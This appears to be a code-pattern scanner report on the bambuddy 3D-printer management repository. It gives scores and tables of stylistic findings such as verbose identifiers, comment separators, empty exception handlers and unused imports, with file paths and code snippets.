AI Slop Code RIsk Monitor

maziggy/bambuddy

Your Bambu Lab. No Cloud. Your Rules. Self-hosted command center for Bambu Lab — from one A1 to an entire print farm.

24.4 Elevated pattern signal View on GitHub

Maintenance and Governance Review

This report summarizes scanner evidence for maziggy/bambuddy, a Python project with 3,071 GitHub stars. SynthScan examined 836,164 lines of code across 1759 source files, recording 15962 pattern matches distributed across 21 syntactic categories. The legacy adjusted pattern signal is 24.4 (Elevated pattern signal); it is not an authorship estimate.

Use the findings to ask whether maintainers can explain intent, verify dependencies, simplify unnecessary scaffolding, and focus review effort. Risk Payload v1 adds ownership, supply-chain, over-engineering, and review-effort vectors when available. These are prompts for human verification, not probabilities, security findings, or measured maintenance costs.

24.4
Adjusted Signal
24.4
Raw Pattern Score
100%
Time Factor
2026-10-11
Last Push
3.1K
Stars
Python
Language
836.2K
Lines of Code
1.8K
Files
16.0K
Pattern Hits
2026-10-12
Scan Date
0.26
HC Hit Rate

Risk Review · v3

Use each vector to guide manual verification of the underlying findings.

Cognitive Ownership Risk 48.5/100 · MEDIUM

Can maintainers explain intent, assumptions, and trade-offs? 11810 finding(s).

Hallucinated Dependency & Supply Chain Risk 6.3/100 · LOW

Are imports declared and package/API names verified? 1172 finding(s).

Agent Over-Engineering Ratio 66.0/100 · HIGH

Are wrappers, guards, and repeated structures necessary? 13589 finding(s).

PR Review Velocity Impact 72.3/100 · HIGH

Which changes need focused human review? 15962 finding(s).

What These Metrics Mean

Adjusted Signal
Legacy pattern score normalized per 1,000 scanned lines and multiplied by the repository-level time factor. It is not an estimate of AI authorship.
Raw Pattern Score
Sum of severity- and context-weighted pattern findings before applying the time factor.
Time Factor
A coarse multiplier based on repository last-push metadata. It does not identify when individual code was written.
Pattern Hits
Count of configured pattern findings. Review each location and surrounding code before acting.
HC Hit Rate
High- and critical-severity findings per scanned file. Severity is a configured detector weight, not proof of a vulnerability or authorship.
Lines / Files
Scan coverage denominators used by the legacy normalized score.

Pattern-Signal History

This chart tracks the legacy adjusted pattern score across scan runs. Changes can reflect source changes, scan coverage, or detector/scoring versions; they do not measure AI adoption or prove that a team refactored code. Compare runs only when their scoring versions are compatible. The dashed line tracks the raw pattern-hit count.

Severity Breakdown

Groups findings by configured severity weight. Severity is not a confidence estimate, security rating, or proof that a package is missing. Verify imports against the project's manifests and inspect each finding in its local design context.

CRITICAL 0HIGH 463MEDIUM 1588LOW 13911

Directory Score Breakdown

This horizontal bar chart shows where configured pattern scores accumulate across directories. Treat the bars as locations to inspect, not as evidence of authorship or code quality. Use the file-level findings to decide whether a directory needs a focused ownership, dependency, complexity, or review check.

Pattern Findings

The scanner identified 15962 distinct pattern matches across 21 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a detector match to inspect in context. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the configured finding weight (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — legacy comment-context matches receive a ×1.5 score weight. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier under the legacy scoring model.

Hyper-Verbose Identifiers10574 hits · 9829 pts
SeverityFileLineSnippetContext
LOWfrontend/src/utils/amsHelpers.ts629export function resolveSlotNozzleDiameter(CODE
LOWfrontend/src/utils/printer.ts70export function isPrinterCurrentlyDispatchable(status: PrinterStatus | undefined): boolean {CODE
LOWfrontend/src/utils/printer.ts92export function filterCompatibleQueueItems(CODE
LOWfrontend/src/utils/filamentPresets.ts64export function genericFilamentIdForMaterial(material: string | null | undefined): string {CODE
LOWfrontend/src/utils/filamentPresets.ts112export function buildFilamentPresetOptions(sources: FilamentPresetSources): FilamentPresetOption[] {CODE
LOW⚡frontend/src/utils/inventoryQueries.ts6export function invalidateInventoryLocations(queryClient: QueryClient) {CODE
LOW⚡frontend/src/utils/inventoryQueries.ts13export function invalidateInventorySuppliers(queryClient: QueryClient) {CODE
LOW⚡frontend/src/utils/inventoryQueries.ts18export function invalidateSpoolAndLocationQueries(CODE
LOWfrontend/src/utils/slicerPrinterMatch.ts63export function matchesPrinterModelSuffix(presetSuffix: string, printerModel: string): boolean {CODE
LOWfrontend/src/utils/slicerPrinterMatch.ts166function extractPrinterPresetModel(printerPresetName: string): { model: string; nozzle: string | null } | null {CODE
LOWfrontend/src/utils/slicerPrinterMatch.ts177function stripTrailingParenthetical(s: string): string {CODE
LOWfrontend/src/utils/locationSensorDefaults.ts30export function defaultLocationSensorDefaults(): LocationSensorDefaults {CODE
LOWfrontend/src/utils/locationSensorDefaults.ts60export function loadLocationSensorDefaults(alertDefaultsJson?: string | null): LocationSensorDefaults {CODE
LOWfrontend/src/utils/locationSensorDefaults.ts88export function serializeLocationSensorAlertDefaults(defaults: LocationSensorDefaults): string {CODE
LOWfrontend/src/utils/locationSensorDefaults.ts100export function saveLocationSensorShowOnCardDefaults(defaults: LocationSensorDefaults) {CODE
LOWfrontend/src/utils/locationSensorDefaults.ts114export function loadLocationSensorColorizeValues(): boolean {CODE
LOWfrontend/src/utils/locationSensorDefaults.ts131function notifyLocationSensorColorPrefsChanged() {CODE
LOWfrontend/src/utils/locationSensorDefaults.ts135export function saveLocationSensorColorizeValues(value: boolean) {CODE
LOW⚡frontend/src/utils/locationSensorDefaults.ts165export function loadLocationSensorAlertAboveColor(): LocationSensorAlertColor {CODE
LOW⚡frontend/src/utils/locationSensorDefaults.ts174export function saveLocationSensorAlertAboveColor(color: LocationSensorAlertColor) {CODE
LOW⚡frontend/src/utils/locationSensorDefaults.ts183export function loadLocationSensorAlertBelowColor(): LocationSensorAlertColor {CODE
LOW⚡frontend/src/utils/locationSensorDefaults.ts192export function saveLocationSensorAlertBelowColor(color: LocationSensorAlertColor) {CODE
LOW⚡frontend/src/utils/locationSensorDefaults.ts201export function loadLocationSensorAlertOptimalColor(): LocationSensorAlertColor {CODE
LOW⚡frontend/src/utils/locationSensorDefaults.ts210export function saveLocationSensorAlertOptimalColor(color: LocationSensorAlertColor) {CODE
LOWfrontend/src/utils/locationSensorDefaults.ts226function readLocationSensorColorPrefs(): LocationSensorColorPrefs {CODE
LOWfrontend/src/utils/locationSensorDefaults.ts242export function useLocationSensorColorPrefs(): LocationSensorColorPrefs {CODE
LOWfrontend/src/utils/locationSensorDefaults.ts256export function locationSensorReadingAlertStatus(reading: LocationHASensorReading): LocationSensorAlertStatus {CODE
LOWfrontend/src/utils/locationSensorDefaults.ts269export function locationSensorValueColorClass(CODE
LOWfrontend/src/utils/sidebarLayout.ts26export function getHiddenSidebarSystemItemIds(): string[] {CODE
LOWfrontend/src/utils/sidebarLayout.ts38export function saveHiddenSidebarSystemItemIds(ids: string[]) {CODE
LOWfrontend/src/utils/preheatFilamentTargets.ts40export function parsePreheatFilamentTargets(raw: string): Record<string, number> {CODE
LOWfrontend/src/utils/preheatFilamentTargets.ts61export function serializePreheatFilamentTargets(map: Record<string, number>): string {CODE
LOWfrontend/src/utils/preheatFilamentTargets.ts78export function normalizePreheatFilamentType(trayType: string): string {CODE
LOWfrontend/src/utils/preheatFilamentTargets.ts91export function deriveChamberTargetForTrays(CODE
LOWfrontend/src/utils/projectQueries.ts34export function invalidateArchiveAndProjectViews(queryClient: QueryClient) {CODE
LOWfrontend/src/components/ModelViewer.tsx257function parsePlateIdFromAttributes(element: Element): number | null {CODE
LOWfrontend/src/components/LocationSensorOptionsModal.tsx146export function LocationSensorOptionsModal({ onClose }: Props) {CODE
LOWfrontend/src/components/CreateUserAdvancedAuthModal.tsx32export function CreateUserAdvancedAuthModal({CODE
LOWfrontend/src/components/ConnectionDiagnostic.tsx120export function ConnectionDiagnosticModal(props: ConnectionDiagnosticModalProps) {CODE
LOWfrontend/src/components/ArchiveMediaDownloadModal.tsx17export function ArchiveMediaDownloadModal({CODE
LOW…ntend/src/components/VirtualPrinterDiagnosticModal.tsx32export function VirtualPrinterDiagnosticModal({CODE
LOWfrontend/src/components/NotificationTemplateEditor.tsx14export function NotificationTemplateEditor({ template, onClose }: NotificationTemplateEditorProps) {CODE
LOW…ontend/src/components/PreheatFilamentTargetsEditor.tsx23export function PreheatFilamentTargetsEditor({ value, onChange, disabled = false }: Props) {CODE
LOWfrontend/src/components/PrintModal/archiveAmsMapping.ts32export function resolveArchiveSlicerAmsMapping(CODE
LOWfrontend/src/components/spool-form/ColorSection.tsx13function normalizeExtraColorsInput(raw: string): { value: string; invalid: string[] } {CODE
LOWfrontend/src/components/spool-form/utils.ts190function buildLocalFilamentOptions(localPresets: LocalPreset[]): FilamentOption[] {CODE
LOWfrontend/src/components/spool-form/utils.ts436export function materialForGenericFilamentId(id: string | null | undefined): string {CODE
LOWfrontend/src/components/spool-form/utils.ts450export function genericFilamentIdMatchesMaterial(id: string, material: string): boolean {CODE
LOWfrontend/src/__tests__/components/SliceModal.test.tsx953 function makeMultiPlateLibraryResponse() {CODE
LOWfrontend/src/__tests__/components/SliceModal.test.tsx1178 function makeMultiColorPlateResponse() {CODE
LOWfrontend/src/__tests__/components/SliceModal.test.tsx1202 function makeMultiColorRequirementsResponse() {CODE
LOWfrontend/src/hooks/useMultiPrinterFilamentMapping.ts201function computeMappingWithOverrides(CODE
LOWfrontend/src/hooks/useMultiPrinterFilamentMapping.ts296export function useMultiPrinterFilamentMapping(CODE
LOWfrontend/src/hooks/useAnnouncements.ts10export function isAllowedAnnouncementLink(url: string | null | undefined): url is string {CODE
LOWfrontend/src/api/client.ts113function parseContentDispositionFilename(header: string | null): string | null {CODE
LOWfrontend/src/pages/SettingsPage.tsx193function describeLocationSensorValue(CODE
LOWfrontend/src/pages/InventoryPage.tsx2889function locationSensorIconGapClass(deviceClass: string | null): string {CODE
LOWfrontend/src/pages/PrintersPage.tsx1562function NozzleTemperatureControlBox({CODE
LOWfrontend/src/pages/FinancePage.tsx24function parsePrintChargeDescription(description: string | null): ParsedPrintChargeDescription {CODE
LOW…end/src/pages/spoolbuddy/SpoolBuddyCalibrationPage.tsx173export function SpoolBuddyCalibrationPage() {CODE
10514 more matches not shown…
Decorative Section Separators1466 hits · 5212 pts
SeverityFileLineSnippetContext
MEDIUMdocker-publish.sh290# ============================================================COMMENT
MEDIUMdocker-publish.sh292# ============================================================COMMENT
MEDIUMtest_docker.sh134# ============================================COMMENT
MEDIUMtest_docker.sh136# ============================================COMMENT
MEDIUMtest_docker.sh161# ============================================COMMENT
MEDIUMtest_docker.sh163# ============================================COMMENT
MEDIUMtest_docker.sh189# ============================================COMMENT
MEDIUMtest_docker.sh191# ============================================COMMENT
MEDIUMtest_docker.sh202# ============================================COMMENT
MEDIUMtest_docker.sh204# ============================================COMMENT
MEDIUMtest_docker.sh215# ============================================COMMENT
MEDIUMtest_docker.sh217# ============================================COMMENT
MEDIUMtest_docker.sh282# ============================================COMMENT
MEDIUMtest_docker.sh284# ============================================COMMENT
MEDIUMdocker-publish-beta.sh199# ============================================================COMMENT
MEDIUMdocker-publish-beta.sh201# ============================================================COMMENT
MEDIUMtest_security.sh45# ── Temp directory for scan output ───────────────────────────────────────COMMENT
MEDIUMtest_security.sh58# ── SARIF parser (used for CodeQL result display) ────────────────────────COMMENT
MEDIUMtest_security.sh106# ── Scan functions (write to stdout, return exit code) ───────────────────COMMENT
MEDIUMtest_security.sh211# ── Job launcher (streams output live with prefix, captures to log) ──────COMMENT
MEDIUMtest_security.sh235# ── Wait for all scans ───────────────────────────────────────────────────COMMENT
MEDIUMtest_security.sh280# ── Summary ──────────────────────────────────────────────────────────────COMMENT
MEDIUMtest_security.sh293 # ── Results table ────────────────────────────────────────────────────COMMENT
MEDIUMtest_security.sh318 # ── Full output per scan ─────────────────────────────────────────────COMMENT
MEDIUMtest_security.sh350# ── Main ─────────────────────────────────────────────────────────────────COMMENT
MEDIUM.gitleaks.toml7# ── Custom rules ─────────────────────────────────────────────────────────COMMENT
MEDIUM.gitleaks.toml37# ── Global allowlist ─────────────────────────────────────────────────────COMMENT
MEDIUM⚡docker-publish-daily-beta.sh101# ============================================================COMMENT
MEDIUM⚡docker-publish-daily-beta.sh103# ============================================================COMMENT
MEDIUM⚡docker-publish-daily-beta.sh126# ============================================================COMMENT
MEDIUM⚡docker-publish-daily-beta.sh128# ============================================================COMMENT
MEDIUM⚡docker-publish-daily-beta.sh287# ============================================================COMMENT
MEDIUM⚡docker-publish-daily-beta.sh289# ============================================================COMMENT
MEDIUM⚡docker-publish-daily-beta.sh379# ============================================================COMMENT
MEDIUM⚡docker-publish-daily-beta.sh381# ============================================================COMMENT
MEDIUMdocker-publish-daily-beta.sh399# ============================================================COMMENT
MEDIUMdocker-publish-daily-beta.sh401# ============================================================COMMENT
MEDIUMdocker-publish-daily-beta.sh430# ============================================================COMMENT
MEDIUMdocker-publish-daily-beta.sh432# ============================================================COMMENT
MEDIUMinstall/install.sh62# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/install.sh64# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/install.sh179# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/install.sh181# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/install.sh282# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/install.sh284# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/install.sh316# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/install.sh318# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/install.sh825# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/install.sh827# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/docker-install.sh45# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/docker-install.sh47# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/docker-install.sh156# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/docker-install.sh158# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/docker-install.sh214# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/docker-install.sh216# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/docker-install.sh361# -----------------------------------------------------------------------------COMMENT
MEDIUMinstall/docker-install.sh363# -----------------------------------------------------------------------------COMMENT
MEDIUMfrontend/src/components/TwoFactorSettings.tsx11// ─── Small reusable code input ────────────────────────────────────────────────COMMENT
MEDIUMfrontend/src/components/TwoFactorSettings.tsx36// ─── Backup codes display ─────────────────────────────────────────────────────COMMENT
MEDIUMfrontend/src/components/TwoFactorSettings.tsx72// ─── TOTP setup wizard ────────────────────────────────────────────────────────COMMENT
1406 more matches not shown…
Empty Error Handlers417 hits · 2000 pts
SeverityFileLineSnippetContext
HIGHbackend/app/main.py1869except Exception:CODE
HIGHbackend/app/main.py2618except Exception:CODE
HIGHbackend/app/main.py4045except Exception:CODE
HIGHbackend/app/main.py7062except Exception:CODE
HIGHbackend/app/main.py8653except ValueError:CODE
HIGHbackend/app/main.py3907except Exception:CODE
HIGHbackend/app/main.py7351except Exception:CODE
HIGHbackend/app/main.py7378except Exception:CODE
HIGHbackend/app/main.py7698except Exception:CODE
HIGHbackend/app/main.py5218except Exception:CODE
HIGHbackend/app/main.py5360except Exception:CODE
HIGHbackend/app/main.py8488except Exception:CODE
HIGHbackend/app/main.py4455except Exception:CODE
HIGHbackend/app/main.py5071except OSError:CODE
HIGHbackend/app/main.py8689except (ValueError, TypeError):CODE
HIGHbackend/app/main.py8696except (ValueError, TypeError):CODE
HIGHbackend/app/main.py8737except (ValueError, TypeError):CODE
HIGHbackend/app/main.py8402except Exception:CODE
HIGHbackend/app/main.py8791except (ValueError, TypeError):CODE
HIGHbackend/app/main.py5041except OSError:CODE
HIGHbackend/app/main.py5053except OSError:CODE
HIGHbackend/app/core/database.py1976except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py1987except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py1996except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2096except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2105except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2112except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2148except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2184except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2375except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2386except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2549except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2658except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2684except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2820except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2840except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2857except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2878except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2894except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2903except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2914except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2948except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py3042except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py3104except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py3150except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py3222except (OperationalError, ProgrammingError, IntegrityError):CODE
HIGHbackend/app/core/database.py3499except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py3508except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py3552except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2040except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2053except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2065except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2079except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2358except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2448except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2617except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py2788except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py3296except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py3646except (OperationalError, ProgrammingError):CODE
HIGHbackend/app/core/database.py4181except (OperationalError, ProgrammingError):CODE
357 more matches not shown…
Unused Imports1072 hits · 859 pts
SeverityFileLineSnippetContext
LOWbackend/app/cli.py9CODE
LOWbackend/app/core/oidc_env.py10CODE
LOWbackend/app/core/auth.py1CODE
LOWbackend/app/core/trace.py30CODE
LOWbackend/app/core/encryption.py22CODE
LOWbackend/app/core/tasks.py22CODE
LOWbackend/app/core/compat.py6CODE
LOWbackend/app/core/paths.py11CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
LOWbackend/app/core/database.py288CODE
1012 more matches not shown…
Excessive Try-Catch Wrapping877 hits · 700 pts
SeverityFileLineSnippetContext
LOWfrontend/docs/create_proxy_diagram.py41 except Exception as e:CODE
LOWtests/e2e_toggle_persistence_test.py310 except Exception as e:CODE
LOWtests/e2e_comprehensive_test.py366 except Exception as e:CODE
MEDIUMbackend/app/main.py3782def _guarded() -> None:CODE
MEDIUMbackend/app/main.py7560def _notify_no_archive():CODE
MEDIUMbackend/app/main.py7774def _notify_billing_charge_failed() -> None:CODE
LOW⚡backend/app/main.py908 except Exception as e:CODE
LOW⚡backend/app/main.py924 except Exception as e:CODE
LOW⚡backend/app/main.py2881 except Exception as e:CODE
LOW⚡backend/app/main.py3224 except Exception as e:CODE
LOW⚡backend/app/main.py3229 except Exception:CODE
LOW⚡backend/app/main.py3237 except Exception as e:CODE
LOW⚡backend/app/main.py3903 except Exception as e:CODE
LOW⚡backend/app/main.py3907 except Exception:CODE
LOW⚡backend/app/main.py7392 except Exception as e:CODE
LOW⚡backend/app/main.py7394 except Exception as e:CODE
LOW⚡backend/app/main.py8445 except Exception as e:CODE
LOW⚡backend/app/main.py8449 except Exception as e:CODE
LOW⚡backend/app/main.py8967 except Exception as e:CODE
LOW⚡backend/app/main.py9096 except Exception as e:CODE
LOW⚡backend/app/main.py9243 except Exception as e:CODE
LOW⚡backend/app/main.py9351 except Exception as e:CODE
LOW⚡backend/app/main.py9366 except Exception as e:CODE
LOW⚡backend/app/main.py9472 except Exception as e:CODE
LOWbackend/app/main.py998 except Exception as e:CODE
LOWbackend/app/main.py1445 except Exception as e:CODE
LOWbackend/app/main.py1631 except Exception:CODE
LOWbackend/app/main.py1789 except Exception as e:CODE
LOWbackend/app/main.py1835 except Exception as e:CODE
LOWbackend/app/main.py1853 except Exception as e:CODE
LOWbackend/app/main.py1869 except Exception:CODE
LOWbackend/app/main.py1913 except Exception as e:CODE
LOWbackend/app/main.py2007 except Exception as e:CODE
LOWbackend/app/main.py2119 except Exception as e:CODE
LOWbackend/app/main.py2312 except Exception:CODE
LOWbackend/app/main.py2483 except Exception as e:CODE
LOWbackend/app/main.py2567 except Exception as e:CODE
LOWbackend/app/main.py2618 except Exception:CODE
LOWbackend/app/main.py2636 except Exception as e:CODE
LOWbackend/app/main.py2801 except Exception:CODE
LOWbackend/app/main.py2937 except Exception as e:CODE
LOWbackend/app/main.py2978 except Exception as e:CODE
LOWbackend/app/main.py2989 except Exception as e:CODE
LOWbackend/app/main.py3125 except Exception as e:CODE
LOWbackend/app/main.py3161 except Exception as e:CODE
LOWbackend/app/main.py3185 except Exception as e:CODE
LOWbackend/app/main.py3311 except Exception as e:CODE
LOWbackend/app/main.py3379 except Exception as e:CODE
LOWbackend/app/main.py3426 except Exception as e:CODE
LOWbackend/app/main.py3491 except Exception as e:CODE
LOWbackend/app/main.py3679 except Exception as e:CODE
LOWbackend/app/main.py3771 except Exception as e:CODE
LOWbackend/app/main.py3787 except Exception as e:CODE
LOWbackend/app/main.py3838 except Exception as e:CODE
LOWbackend/app/main.py4045 except Exception:CODE
LOWbackend/app/main.py4072 except Exception as e:CODE
LOWbackend/app/main.py4082 except Exception as e:CODE
LOWbackend/app/main.py4170 except Exception as snap_err:CODE
LOWbackend/app/main.py4181 except Exception as light_err:CODE
LOWbackend/app/main.py4208 except Exception as notif_err:CODE
817 more matches not shown…
Over-Commented Block536 hits · 393 pts
SeverityFileLineSnippetContext
LOWrequirements.txt1# Web FrameworkCOMMENT
LOWrequirements.txt41# Virtual Printer (emulates Bambu printer for slicer uploads)COMMENT
LOWrequirements.txt121COMMENT
LOWrequirements.txt141# decompression limits, proxy TLS settings); 2.8.0 is the fixed release.COMMENT
LOW.pre-commit-config.yaml21 - id: trailing-whitespaceCOMMENT
LOWdocker-publish.sh1#!/bin/bashCOMMENT
LOWdocker-publish-beta.sh1#!/bin/bashCOMMENT
LOWtest_security.sh1#!/usr/bin/env bashCOMMENT
LOWrequirements-dev.txt21pyOpenSSL>=26.0.0COMMENT
LOWdocker-compose.yml1services:COMMENT
LOWdocker-compose.yml21 #COMMENT
LOWdocker-compose.yml41 # 50000-50009, VP 2 → 50010-50019, VP 3 → 50020-50029, etc. The defaultCOMMENT
LOWdocker-compose.yml61 # narrowed range above.COMMENT
LOWdocker-compose.yml81 # so Bambuddy can request Let's Encrypt certs for virtual printers viaCOMMENT
LOWdocker-compose.yml101 # files back to the host share.COMMENT
LOWdocker-compose.yml121 #- BAMBUDDY_COMPOSE_DIR=${PWD}COMMENT
LOWdocker-compose.yml141 # run the sidecar on a different host/port. The matching docker-compose.ymlCOMMENT
LOWdocker-compose.yml161 # Enable System Trust Store for certificate validation (e.g. for local Home Assistant)COMMENT
LOWdocker-compose.yml181 # POSTGRES_PASSWORD: changemeCOMMENT
LOWdocker-publish-daily-beta.sh1#!/bin/bashCOMMENT
LOWdocker-publish-daily-beta.sh21#COMMENT
LOWinstall/install.sh1#!/usr/bin/env bashCOMMENT
LOWinstall/install.sh421 fiCOMMENT
LOWinstall/docker-install.sh1#!/usr/bin/env bashCOMMENT
LOWinstall/update_macos.sh61#COMMENT
LOWinstall/update_macos.sh101 return 0COMMENT
LOWfrontend/vite.config.ts61 // documented workaround, which doesn't depend on this setting.COMMENT
LOWfrontend/src/types/plates.ts41 // Process settings the designer changed away from the stock preset, readCOMMENT
LOWfrontend/src/contexts/SliceJobTrackerContext.tsx101 const progress = progressRef.current.get(job.id) ?? null;COMMENT
LOWfrontend/src/utils/colors.ts1// Runtime color-name catalog, populated once at app startup by ColorCatalogProviderCOMMENT
LOWfrontend/src/utils/filamentPresets.ts1// Tiered filament-preset list, shared by every picker that has to offer "allCOMMENT
LOWfrontend/src/utils/slicePresetPicker.ts1// Pure-function helpers for the SliceModal's per-slot preset selection.COMMENT
LOWfrontend/src/utils/slicePresetPicker.ts181export function pickFilamentForSlot(COMMENT
LOWfrontend/src/utils/slicePresetPicker.ts201 // compatible with printer Bambu Lab A1 0.4 nozzle". Hard-skipping mismatchesCOMMENT
LOWfrontend/src/utils/slicerPrinterMatch.ts1// Printer-compatibility matching for the SliceModal's process / filamentCOMMENT
LOWfrontend/src/utils/slicerPrinterMatch.ts201// "SUNLU TPU 95A @Bambu Lab H2D 0.4 nozzle" — the full printer-presetCOMMENT
LOWfrontend/src/utils/slicerPrinterMatch.ts261 && parsed.nozzle !== nullCOMMENT
LOWfrontend/src/utils/slicerPrinterMatch.ts341// - "@Bambu Lab X1 Carbon 0.4 nozzle" → "X1C" (long-form, used byCOMMENT
LOWfrontend/src/utils/dryingPresets.ts1// Resolving an AMS tray's material to a row in the drying preset table.COMMENT
LOWfrontend/src/components/FilamentHoverCard.tsx241 // than one colour, or any surface effect (#2967). Telemetry cannot: a trayCOMMENT
LOWfrontend/src/components/FilamentHoverCard.tsx261 ? buildFilamentBackground({COMMENT
LOWfrontend/src/components/ConfigureAmsSlotModal.tsx941 // Filter profiles - require brand match if brand is present in selected presetCOMMENT
LOWfrontend/src/components/ConfigureAmsSlotModal.tsx1021 if (!seen.has(key)) seen.set(key, profile);COMMENT
LOWfrontend/src/components/HMSErrorModal.tsx261 key={action}COMMENT
LOWfrontend/src/components/KProfilesView.tsx201 profile?.k_value ? truncateK(profile.k_value) : '0.020'COMMENT
LOWfrontend/src/components/KProfilesView.tsx361 // profile come back as "HH00-0.4" once the parse defaults had stamped itCOMMENT
LOWfrontend/src/components/LocationSensorOptionsModal.tsx161 const [pollInterval, setPollInterval] = useState(DEFAULT_POLL_INTERVAL);COMMENT
LOWfrontend/src/components/GitHubRestoreModal.tsx121 // new commit with the old commit's categories — none of which the user hadCOMMENT
LOWfrontend/src/components/GitHubRestoreModal.tsx141 const restoreMutation = useMutation({COMMENT
LOWfrontend/src/components/AssignSpoolModal.tsx61 setDisableFiltering(false);COMMENT
LOWfrontend/src/components/AssignSpoolModal.tsx241 );COMMENT
LOWfrontend/src/components/EditArchiveModal.tsx61 const [printerId, setPrinterId] = useState<number | null>(archive.printer_id);COMMENT
LOWfrontend/src/components/SlicerPipelinesPanel.tsx101 },COMMENT
LOWfrontend/src/components/SpoolFormModal.tsx401 // backend SpoolUpdate schema rejects non-8-char hex on PATCH, soCOMMENT
LOWfrontend/src/components/SpoolFormModal.tsx481 }COMMENT
LOWfrontend/src/components/Layout.tsx81 const isSidebarCompact = useIsSidebarCompact();COMMENT
LOWfrontend/src/components/QueueTimelineView.tsx81 // Round the window start down to the previous full hour so the axis ticksCOMMENT
LOWfrontend/src/components/SliceModal.tsx61 const source = raw.slice(0, idx) as PresetSource;COMMENT
LOWfrontend/src/components/SliceModal.tsx221 // single-color sources this is a one-element array; multi-color 3MFs get oneCOMMENT
LOWfrontend/src/components/SliceModal.tsx241 // the user picks one (or implicitly for single-plate sources).COMMENT
